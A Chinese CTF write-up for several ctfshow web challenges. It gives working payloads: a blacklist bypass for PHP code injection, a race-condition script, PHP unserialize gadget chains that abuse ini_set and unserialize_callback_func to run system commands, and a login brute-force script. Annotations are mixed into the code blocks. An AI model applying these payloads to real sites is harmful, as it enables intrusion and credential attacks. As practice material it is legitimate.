ctfshow大牛杯

web_checkin

复制代码
<?php
error_reporting(0);
include "config.php";
//flag in /

function check_letter($code){
    $letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
    for ($i = 0; $i < count($letter_blacklist); $i+=2){
$i += 2。它只检查黑名单中索引为偶数的字符
被过滤的字符:a, c, e, g, i, k, m, o, q, s, u, w, y, 1, 3, 5, 7, 9(以及大写)
可用的字符:b, d, f, h, j, l, n, p, r, t, v, x, z, 2, 4, 6, 8, 0
        if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
            die("xi nei~");
        }
    }
}

function check_character($code){
    $character_blacklist = array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>');
    for ($i = 1; $i < count($character_blacklist); $i+=2){
        if (preg_match("/".$character_blacklist[$i]."/", $code)){
这次是从 $i = 1 开始。它只检查索引为奇数的符号
被过滤的符号:+, _, (, &, -, #, @, ~, [, {, ",  (空格), ., ,, :
可用的符号:=, %, ), *, ^, $, , !, ], }, ', ;, /, >,?, <`(眼睛有点花,不确定列的对不对,我只能说意思到了)
            die("tongtong xi nei~");
        }
    }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';// 根据 IP 创建唯一沙箱目录
if (!file_exists($dir)) {
    mkdir($dir);
}
if (isset($_GET["code"])) {
    $code = substr($_GET["code"], 0, 12);// 限制输入长度为 12 个字符
    check_letter($code);
    check_character($code);

    file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
    // 返回目录路径
    echo $dir;
}else{
    highlight_file(__FILE__);
}

第一种做法

直接查看目录

复制代码
可用字符:" # & ( + , - . 0 2 4 6 8 : = @ B D F H J L N P R T V X Z [ _ b d f h j l n p r t v x z { | ~ 
?code=?><?=`nl%09/*`
闭合一下前面的语句
nl的一个特性,就是在 Shell 中,* 匹配当前路径的非隐藏文件和目录,/* → 匹配根目录下所有文件和一级子目录,并且nl会依序处理这些文件,输出他们的内容并加上行号,但是会跳过目录和二进制文件

给了一个路径我们进行访问即可获取flag

第二种做法

复制代码
?code=?><?=`nl%09*`

查看当前目录下的文件源码

复制代码
<!--?php
     4	    opendir("./");
     5	    while($filename = readdir()) {
     6	    if($filename != "." && $filename != ".." && $filename != "index.php") {
     7	            unlink($filename);
     8	        }
     9	    }
    10	    closedir();
    11	?-->

很明显是想让我们条件竞争。

生成文件

复制代码
?code=`nl%09/*>b`

import requests
import threading
import sys
session=requests.session()
url1="http://60c9a571-7c97-4dc3-b54f-52e00a48340c.challenge.ctf.show/sandbox/3fa05e3dafa3d6413be416b360149b5c/"
url2='http://60c9a571-7c97-4dc3-b54f-52e00a48340c.challenge.ctf.show/sandbox/3fa05e3dafa3d6413be416b360149b5c/b'
def write():
	while True:
		r = session.get(url1)
def read():
	while True:
		r = session.get(url2)
		if len(r.text)!=9561: #随便get传一次就能得到这个长度
    			print(r.text)

threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

easy_unserialize

复制代码
<?php

  /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-04-22 17:44:48
# @Last Modified by:   h1xa
# @Last Modified time: 2021-04-26 11:30:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

  highlight_file(__FILE__);
class main{
  public $settings;
  public $params;

  public function __construct(){
    在类实例化时(new main())自动调用
    $this->settings=array(
      'display_errors'=>'On',
      'allow_url_fopen'=>'On'
    );
    初始化 $settings 数组,开启错误显示和远程文件打开功能
    $this->params=array();
  }
  public function __wakeup(){
    当执行 unserialize() 成功且对象被创建后,会立即调用
    foreach ($this->settings as $key => $value) {
      遍历 $settings 数组,通过 ini_set 动态修改 PHP 配置
      ini_set($key, $value);
    }
  }

  public function __destruct(){
    当对象被销毁(脚本结束或被 unset)时自动调用
    file_put_contents('settings.inc', unserialize($this->params));
  }
}



unserialize($_GET['data']);

Notice: Undefined index: data in /var/www/html/index.php on line 39

非预期解

复制代码
<?php
class A{
}
class main{
    public $settings;
    public $params;

    public function __construct(){
      利用了 PHP 的配置项(ini_set)
        $this->settings=array(
        'error_log'=>'yu.php',
        在原代码的 __wakeup 中,会执行 ini_set($key, $value)。这意味着你会成功将 PHP 的错误日志路径改为 yu.php
        'unserialize_callback_func'=>'<?php system("cat /f*");?>',
        unserialize_callback_func: 这是一个 PHP 配置项。当 unserialize() 尝试对一个未定义的类进行反序列化时,PHP 会尝试调用这个配置项指定的函数
        'html_errors'=>false
        );
        $this->params=serialize(new A());      
    }
}
$a=new main();
echo serialize($a);

成功执行

复制代码
<?php
class main{
    public $settings;
    public $params;

    public function __construct(){
        $this->settings=array(
        'unserialize_callback_func'=>'system',
        );
        $this->params='O:2:"ls":0:{}';      
    }
}
$a=new main();
echo serialize($a);

预期解

复制代码
<?php
class settings{
在后续步骤中,这个类名 settings 会与生成的 settings.inc 文件名产生关联
}
class main{
    public $settings;
    public $params;

    public function __construct(){
        $this->settings=array(
        'unserialize_callback_func'=>'spl_autoload',
        );
//$this->params=serialize("<?php system('cat /f*');"); 生成settings.inc文件,内容是<?php system('cat /f*');
//$this->params=serialize(new settings()); 加载settings.inc
//spl_autoload:这是 PHP 的默认自动加载函数。它的工作原理是:当你尝试实例化或反序列化一个不存在的类(例如 settings)时,它会尝试在当前目录下寻找并包含名为 settings.php 或 settings.inc 的文件
    }
}
$a=new main();
echo serialize($a);

也就是说如果第一个参数是settings第二个没有传值,就会去加载(include)settings.inc文件,并且setting.inc文件内容我们可控

下载下来就可以了

RealWorld_CyberShow

没有什么有用的信息,查看源码

看到有三个html页面一个一个查看

看到了登录页面

需要爆破用户密码

想要抓包爆破结果是被加密的

复制代码
import requests
import urllib3
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
url = "http://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show/log_in"
headers = {
    "Cookie": "JSESSIONID=0189FA915D476EBE590738FCD0FC7C76",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "https://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show",
    "Referer": "https://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show/log_in/index.jsp"
}
 
for a in range(1,100000):
    data = {
        "username": str(2020000000+a),
        "enpwd": "f6d7fefbb39ed575",
        "key": "ed504e644c0c167552128ce15b040c61cdc632eb633dfb7b551ea493caadd041"
    }
    try:
        response = requests.post(url, headers=headers, data=data, verify=False)
        print(str(2020000000+a))
        if response.status_code == 200 and 'error' not in response.text:
            print(response.text)
    except requests.RequestException as e:
        print(f"Request failed: {e}")

是2020036001

easy CMS

涉及知识盲区了,之后会单独出一篇文章

相关推荐
Android系统攻城狮2 小时前
Android tinyalsa深度解析之pcm_format_to_bits调用流程与实战(一百二十三)
android·pcm·tinyalsa·音频进阶·音频性能实战
城东米粉儿3 小时前
Android Okhttp ConnectionPool 笔记
android
城东米粉儿4 小时前
Android Retrofit 笔记
android
城东米粉儿4 小时前
Android Retrofit 线程切换 笔记
android
城东米粉儿6 小时前
Kotlin @JvmOverLoads 笔记
android
alexhilton6 小时前
把离线AI代理装进口袋里
android·kotlin·android jetpack
哈哈浩丶7 小时前
ATF (ARM Trusted Firmware) -2:完整启动流程(冷启动)
android·linux·arm开发·驱动开发
哈哈浩丶7 小时前
ATF (ARM Trusted Firmware) -3:完整启动流程(热启动)
android·linux·arm开发
哈哈浩丶7 小时前
OP-TEE-OS:综述
android·linux·驱动开发